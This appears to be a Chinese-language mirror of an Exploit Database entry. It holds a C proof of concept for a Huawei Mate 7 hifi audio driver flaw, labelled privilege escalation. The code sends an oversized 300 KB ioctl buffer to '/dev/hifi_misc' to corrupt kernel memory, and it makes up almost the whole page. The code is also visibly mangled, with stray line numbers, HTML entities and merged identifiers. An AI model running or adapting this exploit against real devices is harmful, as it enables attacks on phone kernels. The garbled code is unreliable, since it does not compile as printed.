Huawei Mate 7 – ‘/dev/hifi_misc’ Privilege Escalation

• Exploit Database
• 157 阅读

• 作者： pray3r
  日期： 2016-01-24
• 类别：

  • local
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44306/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46

  /* * *HuaWei Mate7 hifi driver Poc * *Writen by pray3r, <pray3r.z@gmail.com> * */   #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h>   #define HIFI_MISC_IOCTL_WRITE_PARAMS_IOWR(&apos;A&apos;, 0x75, struct misc_io_sync_param)   struct misc_io_sync_param { void *para_in; unsigned intpara_size_in; void *para_out; unsigned intpara_size_out; };   int main(int arg, char **argv) { int fd; void *in = malloc(300 * 1024); void *out = malloc(100); struct misc_io_sync_param poc;   poc.para_in = in; poc.para_size_in = 300 * 1024; poc.para_out = out; poc.para_size_out = 100;   fd = open("/dev/hifi_misc", O_RDWR);   ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);   free(in); free(out);   return 0; }